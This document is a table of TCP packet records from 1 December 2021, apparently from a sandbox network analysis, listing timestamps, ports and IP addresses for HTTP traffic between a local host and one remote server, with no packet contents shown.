Dec 1, 2021 09:14:20.707106113 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707129955 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707161903 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707178116 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707190037 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707217932 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707254887 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707274914 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707310915 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707330942 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707357883 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707391977 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707391977 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707443953 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707478046 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707500935 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707530975 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707554102 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707556009 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707611084 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707612038 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707659960 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707667112 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707735062 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707746983 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707798004 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707827091 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707844973 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707875013 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707885027 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707912922 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707923889 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707952976 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707964897 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707992077 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.708003998 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.708039045 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.708051920 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.708082914 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.708092928 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.708122969 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.708132029 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.708162069 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.708172083 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.708199978 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.708210945 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.708239079 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.708249092 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.708277941 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.708287954 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.708317995 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.708328009 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.708473921 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.709753036 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.721771002 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.766438007 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766479015 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766495943 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766511917 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766520977 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.766530037 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766547918 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766561031 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.766563892 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766578913 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.766582012 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766599894 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766601086 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.766633034 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.766957045 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766976118 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.766992092 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767008066 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767024040 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767040968 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767055988 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767071962 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767075062 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767090082 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767101049 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767107010 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767123938 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767124891 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767142057 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767143011 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767160892 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767177105 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767183065 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767193079 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767210960 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767210960 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767227888 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767232895 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767246008 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767263889 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767266035 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767281055 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767298937 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767304897 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767317057 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767323017 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767333031 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767349005 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767349958 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767366886 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767384052 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767388105 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767400026 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767410040 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767417908 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767433882 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767448902 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767450094 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767465115 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767472982 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767482042 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767493010 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767522097 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767640114 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767657042 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767673016 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767688990 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767689943 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767740011 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767745018 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.767769098 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767786026 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.767832994 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.787659883 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.787755013 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825036049 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825068951 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825088978 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825109005 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825126886 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825145960 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825145960 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825165987 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825177908 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825190067 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825198889 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825212002 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825232029 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825232029 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825265884 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825450897 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825504065 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825525045 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825546026 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825566053 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825582981 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825587034 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825606108 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825608969 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825630903 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825634003 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825651884 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825671911 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825673103 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825685024 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825695992 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825717926 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825728893 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825740099 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825762033 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825781107 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825783968 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825800896 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825804949 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825825930 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825846910 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825866938 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825886011 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825906038 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825926065 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825926065 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825932980 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825937033 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.825948000 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825968027 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825985909 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.825997114 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826006889 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826009035 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826026917 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826037884 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826041937 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826045990 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826046944 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826050043 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826066971 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826071978 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826087952 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826090097 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826108932 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826127052 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826128006 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826148033 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826149940 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826169014 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826189041 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826189995 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826210022 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826211929 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826231003 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826241016 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826251984 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826257944 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826273918 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826288939 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826293945 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.826345921 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.826350927 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.883214951 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.883244038 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.883256912 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.883272886 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.883290052 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.883306026 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.883322001 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.883336067 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.883352041 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.883354902 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.883368969 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884008884 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884027958 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884032011 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884047031 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884067059 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884083033 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884090900 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884100914 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884119034 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884134054 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884136915 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884150982 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884156942 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884169102 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884185076 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884186029 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884203911 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884218931 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884227991 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884237051 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884253979 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884268999 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884269953 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884287119 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884299994 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884304047 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884322882 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884340048 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884340048 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884357929 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884358883 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884375095 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884385109 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884392977 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884409904 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884426117 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884443998 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884460926 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884462118 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884479046 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884479046 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884495974 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884511948 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884527922 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884529114 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884546041 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884547949 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884563923 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884576082 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884581089 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884598017 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884614944 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884617090 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884630919 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884643078 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884648085 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884665012 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884665012 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.884733915 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.884737968 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.933744907 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.941323996 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.941359043 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.941375017 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.941395998 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.941461086 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.941493988 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.942471981 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942495108 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942512989 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942536116 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942547083 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.942559958 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942581892 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942604065 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.942605019 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942625999 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942641973 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.942648888 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942688942 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942708969 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942724943 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.942730904 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942753077 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942755938 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.942775011 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942779064 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.942795992 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942816973 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942826986 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.942838907 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942861080 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942873001 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.942882061 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942892075 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.942904949 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942924976 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.942933083 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.943037987 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.969779968 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.972944021 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.991013050 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:21.715656042 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:21.773631096 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:26.433337927 CET	49798	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.490628004 CET	80	49798	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:26.490725994 CET	49798	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.490838051 CET	49798	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.494131088 CET	49798	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.548033953 CET	80	49798	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:26.551343918 CET	80	49798	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:26.590754986 CET	80	49798	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:26.591738939 CET	49798	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.592045069 CET	49798	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.622845888 CET	49799	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:26.649202108 CET	80	49798	95.213.165.249	192.168.2.4
